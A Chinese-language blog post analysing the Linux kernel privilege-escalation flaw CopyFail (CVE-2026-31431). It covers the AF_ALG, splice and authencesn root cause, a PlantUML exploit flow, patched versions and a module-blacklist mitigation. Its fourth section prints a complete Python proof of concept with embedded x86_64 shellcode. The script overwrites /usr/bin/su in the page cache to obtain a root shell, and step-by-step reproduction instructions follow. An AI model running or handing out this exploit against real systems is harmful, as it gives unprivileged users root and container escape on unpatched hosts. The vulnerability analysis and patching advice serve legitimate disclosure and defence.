潜伏 9 年的 Linux 核弹级漏洞:CopyFail CVE-2026-31431

2026 年 4 月 29 日,安全研究团队公开了一个潜伏了近 9 年的 Linux 内核高危漏洞 ------CopyFail(CVE-2026-31431)。该漏洞自 2017 年的一次内核优化引入,影响几乎所有主流 Linux 发行版,普通本地用户仅需编译运行一个跨平台的 C 提权程序,即可无门槛获得 root 权限,无需竞态条件、无需复杂适配,甚至可突破容器隔离实现宿主机提权。


一、漏洞概述

漏洞信息 详情
CVE 编号 CVE-2026-31431
漏洞名称 CopyFail
漏洞类型 本地提权(LPE)、逻辑漏洞
CVSS 评分 7.8(高危)
影响内核版本 Linux 4.14 ~ 6.18.21、6.19.11、7.0-rc1(2017 年 - 2026 年 4 月的所有主流版本)
受影响发行版 Ubuntu、Debian、RHEL、SUSE、Amazon Linux 等所有主流 Linux 发行版
利用条件 普通本地用户权限,Python 3.10+

与此前的经典 Linux 提权漏洞相比,CopyFail 拥有前所未有的易用性:

漏洞 类型 核心特点 利用难度
Dirty Cow (CVE-2016-5195) 页错误竞态 需要复杂时序竞争,易失败、易崩溃
Dirty Pipe (CVE-2022-0847) Pipe 缓冲区漏洞 版本依赖强,需要适配不同内核
CopyFail (CVE-2026-31431) 逻辑漏洞 无竞态、无版本适配、一次触发成功 极低

除此之外,CopyFail 还具备极强的隐蔽性:它仅修改文件的内存页缓存,不会改动磁盘上的原始文件,传统的文件完整性校验工具(如基于磁盘文件的哈希检查)完全无法检测到篡改;同时,由于页缓存是系统全局共享的,容器内的普通用户甚至可以直接修改宿主机的 setuid 程序,实现容器逃逸。


二、漏洞原理深度解析

这个漏洞的本质是三个独立特性的交叉碰撞:2017 年的 in-place 加密优化、splice 的零拷贝页缓存引用,以及 authencesn 算法隐藏的越界写操作。

2.1 基础组件:AF_ALG 与 splice

要理解这个漏洞,首先需要了解两个核心内核组件:

  1. AF_ALG Socket:这是 Linux 提供的用户态访问内核加密 API 的接口,普通用户无需任何权限即可创建,通过它可以调用内核的各种加密算法,包括 AEAD(带认证的加密)算法。

  2. splice () 系统调用:零拷贝数据传输接口,它可以直接在文件描述符之间传递页缓存的引用,不需要将数据拷贝到用户态,从而实现高效的数据传输。当我们把一个文件 splice 到 AF_ALG 的 socket 时,内核的加密 scatterlist 会直接持有该文件的页缓存页的引用,而不是拷贝一份数据。

2.2 2017 年的 In-place 优化

在 2017 年,内核开发者为了优化 AEAD 加密的性能,提交了 commit 72548b093ee3,将 algif_aead 的处理从out-of-place 改成了in-place模式:

  • 原本的 out-of-place 模式:加密的输入(src)和输出(dst)是两个独立的 scatterlist,输入里的页缓存页是只读的,输出是用户的私有缓冲区。

  • 优化后的 in-place 模式:为了减少拷贝,直接让 src 和 dst 指向同一个 scatterlist,这样加密的时候可以直接在原地修改数据。

在这个模式下,内核处理用户的解密请求时:

  1. 首先把用户输入的 AAD(关联数据)和密文,拷贝到用户的接收缓冲区里(这一步是真实的内存拷贝)。

  2. 但是对于最后一部分 ------ 认证 Tag,内核没有做拷贝,而是直接用sg\_chain\(\)把原来输入里的 Tag 对应的 scatterlist 项,链到了输出 scatterlist 的末尾。

这就导致了一个问题:输出的 scatterlist 里,前半部分是用户的私有接收缓冲区,后半部分却是目标文件的页缓存页的引用!

Plain 复制代码
输入SGL:     AAD  ||  密文  ||  Tag(目标文件的页缓存页)
                |       |        ^
                | 拷贝  |        | sg_chain 直接链入
                v       v        |
输出SGL:    AAD  ||  密文  -----+
             |                |   |                        |
             +-- 用户接收缓冲区 -+   +-- 目标文件的页缓存页 -+

2.3 隐藏的越界写:authencesn 的 Scratch 空间

正常来说,AEAD 算法的解密操作只会在输出缓冲区的合法范围内写入数据,不会越界。但是有一个特殊的算法 ------authencesn,打破了这个隐形的约定。

authencesn是为 IPsec 的扩展序列号(ESN)设计的 AEAD 算法,为了处理 64 位序列号的字节重排,它会把调用者的输出缓冲区当成临时的 scratch 空间来用:

c 复制代码
// crypto_authenc_esn_decrypt 中的核心逻辑
scatterwalk_map_and_copy(tmp, dst, 0, 8, 0);                           // 读取AAD的前8字节
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1);                           // 重排AAD内的ESN字节
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);     // 越界写!写入4字节到dst的末尾之后

注意最后一行:它会在assoclen \+ cryptlen的位置,写入 4 个字节!这个位置已经完全超出了 AEAD 解密的合法输出范围,但是这个算法从 2011 年加入内核开始,就一直这么做,因为当时的调用者都是内核内部的 IPsec 模块,输出缓冲区都是内核自己分配的,足够大,所以没人发现这个问题。

2.4 漏洞的最终触发

当这两个特性碰到一起的时候,漏洞就诞生了:

  1. in-place 模式下,输出 scatterlist 的末尾,刚好是目标文件的页缓存页。

  2. authencesn 的解密操作,刚好要在输出 scatterlist 的末尾之后,写入 4 个字节。

  3. 这 4 个字节,就刚好被写到了目标文件的页缓存页里!

更离谱的是:即使最后认证 Tag 校验失败,解密操作返回错误,这个 4 字节的写也已经完成了!攻击者甚至不需要提供合法的密文和 Tag,只需要触发这个解密操作,就能完成对任意可读文件的页缓存的 4 字节篡改。


三、漏洞利用流程与 UML 逻辑图

整个利用流程非常清晰,没有任何竞态条件,攻击者只需要按步骤构造请求,即可完成对 setuid 程序的篡改,最终提权。

3.1 利用流程 UML 代码

以下是完整的 PlantUML 活动图代码,你可以直接复制到PlantUML 在线编辑器生成可视化流程图:

plantuml 复制代码
@startuml CopyFail_Exploit_Flow
title CopyFail (CVE-2026-31431) 漏洞利用流程
start

:攻击者(普通用户);
note right: 无需任何特殊权限

:创建AF_ALG Socket;
:绑定authencesn(hmac(sha256),cbc(aes))算法;
:创建管道用于splice传输;

:读取目标setuid程序: /usr/bin/su;
:解压内置的提权Shellcode;

:循环处理Shellcode的每个4字节块:
  :构造AAD数据: 前4字节填充,后4字节为待写入的Shellcode块;
  :sendmsg将AAD发送到ALG Socket;
  :splice目标文件的对应偏移到管道;
  :splice管道数据到ALG Socket;
  
  :调用recv()触发内核解密操作;
  
  :内核处理流程:
    :algif_aead组装Scatterlist;
    :将Tag对应的页缓存页链入输出SGL;
    :设置src=dst,启用in-place模式;
    :调用crypto_authenc_esn_decrypt;
    :authencesn的scratch写,将4字节写入su的页缓存;
    :Tag校验失败,返回-EBADMSG错误;
  end
end

:执行修改后的/usr/bin/su;
:Shellcode执行,获得Root权限;

stop
@enduml

3.2 流程说明

  1. 初始化:攻击者首先创建 AF_ALG socket,绑定存在漏洞的 authencesn 算法,这个操作普通用户就可以完成。

  2. 分块写入 :由于每次漏洞触发只能写 4 个字节,攻击者会把提权用的 shellcode 拆分成多个 4 字节块,逐个写入到/usr/bin/su(系统默认的 setuid-root 程序)的页缓存中。

  3. 触发篡改:每一个块,攻击者都会构造对应的 sendmsg 和 splice 请求,触发内核的解密操作,完成对 su 的页缓存的篡改。

  4. 提权 :所有字节写入完成后,攻击者直接执行su,此时内核会从修改后的页缓存加载程序,shellcode 就会以 root 权限执行,攻击者直接获得 root shell。


四、POC 代码与复现验证

研究团队公开的 POC 仅 732 字节,是一个纯 Python 脚本,无需任何依赖,直接在所有 x86_64 的 Linux 发行版上运行即可提权。

4.1 完整 POC 代码(格式化版)

python 复制代码
#!/usr/bin/env python3
import os as g, zlib, socket as s

# 十六进制转字节工具函数
def d(x):
    return bytes.fromhex(x)

# 单块4字节写入函数
def c(f, target_offset, payload_chunk):
    # 1. 创建AF_ALG Socket,绑定漏洞算法
    a = s.socket(38, 5, 0)
    a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
    
    # 2. 设置算法参数
    SOL_ALG = 279
    opt = a.setsockopt
    opt(SOL_ALG, 1, d('0800010000000010'+'0'*64))
    opt(SOL_ALG, 5, None, 4)
    
    # 3. 接受请求socket
    u, _ = a.accept()
    o = target_offset + 4
    i = d('00')
    
    # 4. 发送AAD,后4字节为待写入的payload
    u.sendmsg(
        [b"A"*4 + payload_chunk],
        [(SOL_ALG,3,i*4),(SOL_ALG,2,b'\x10'+i*19),(SOL_ALG,4,b'\x08'+i*3),],
        32768
    )
    
    # 5. splice目标文件的对应偏移到ALG Socket
    r, w = g.pipe()
    n = g.splice
    n(f, w, o, offset_src=0)
    n(r, u.fileno(), o)
    
    # 6. 触发解密操作,忽略返回的错误
    try:
        u.recv(8+target_offset)
    except:
        pass

# --------------------------
# 主提权逻辑
# --------------------------
if __name__ == "__main__":
    # 打开目标setuid程序
    target_file = g.open("/usr/bin/su", 0)
    
    # 解压内置的x86_64提权Shellcode
    shellcode = zlib.decompress(d(
        "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
    ))
    
    # 逐个4字节写入su的页缓存
    i = 0
    while i < len(shellcode):
        c(target_file, i, shellcode[i:i+4])
        i += 4
    
    # 执行修改后的su,触发提权
    print("[+] Triggering exploit, getting root...")
    g.system("su")

4.2 复现验证

根据国内安全研究者的复现测试,该 POC 在主流环境下的验证结果如下:

环境 漏洞存在 成功提权 说明
Ubuntu 24.04 x86_64(内核 6.8.0-41) 直接运行 POC 即可获得 root
Ubuntu 22.04 x86_64(内核 5.15.0-176) 原生支持,无需修改
Ubuntu 22.04 ARM64(内核 5.15.0-176) 漏洞存在,但公开 POC 的 shellcode 为 x86_64,需适配 ARM 版本
复现步骤:
  1. 确认系统加载了algif\_aead模块:

    bash 复制代码
    lsmod | grep algif_aead
    # 若未加载,执行:sudo modprobe algif_aead
  2. 下载 POC 并保存为exp\.py

  3. 以普通用户身份运行:

    bash 复制代码
    python3 exp.py
  4. 运行完成后即可获得 root shell:

    bash 复制代码
    # whoami
    root

五、修复与缓解措施

5.1 官方修复

Linux 内核团队已经在 2026 年 4 月发布了补丁,彻底修复了这个漏洞:

  • 修复的核心是回滚了 2017 年的 in-place 优化,重新将 algif_aead 改回 out-of-place 模式,避免页缓存页被加入到可写的输出 scatterlist 中。

  • 修复版本:

    • Linux 6.18.22 及以上

    • Linux 6.19.12 及以上

    • Linux 7.0 及以上

    • 各发行版的稳定版补丁:

      • Ubuntu 22.04:≥5.15.0-178

      • Ubuntu 24.04:≥6.8.0-42

建议所有用户立即升级内核并重启系统:

bash 复制代码
sudo apt update && sudo apt upgrade -y
sudo reboot

5.2 临时缓解措施

如果无法立即升级内核,可以通过禁用存在漏洞的algif\_aead模块来临时阻断攻击:

bash 复制代码
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif-aead.conf
sudo rmmod algif_aead 2>/dev/null

注意:禁用该模块会影响部分使用 AF_ALG AEAD 接口的应用,但不会影响系统的常规加密功能,普通桌面 / 服务器环境基本无感知。


六、总结

CopyFail 是一个典型的 "特性碰撞" 型漏洞:三个在各自场景下都合理的改动,在交叉之后产生了一个严重的安全漏洞,并且在内核中潜伏了 9 年才被发现。

这个漏洞的利用门槛极低,普通用户仅需运行一个 700 多字节的脚本即可提权,同时还具备跨容器逃逸的能力,对云原生环境也构成了严重威胁。请所有 Linux 用户务必尽快升级内核,避免被恶意攻击者利用。

相关推荐
HUGu RGIN3 小时前
Linux部署Redis集群
linux·运维·redis
先知后行。3 小时前
Linux 内核驱动 —— 锁机制
linux·运维·服务器
技术钱3 小时前
OutputParser输出解析器
linux·服务器·前端·python
2401_833033623 小时前
C#怎么使用协变和逆变 C#泛型中的in和out关键字协变逆变是什么意思怎么用【语法】
jvm·数据库·python
NoSi EFUL3 小时前
MySQL-练习-数据汇总-CASE WHEN
数据库·mysql
m0_624578594 小时前
JavaScript 中高精度小数(20位以上)的正确处理方法
jvm·数据库·python
m0_740352424 小时前
如何用 Symbol 作为对象属性键名防止第三方库属性覆盖
jvm·数据库·python
m0_613856294 小时前
如何用 ArrayBuffer 在 Fetch 中处理低级别的二进制流
jvm·数据库·python
m0_736439304 小时前
如何防止SQL非法金额输入_利用触发器实现精确度校准
jvm·数据库·python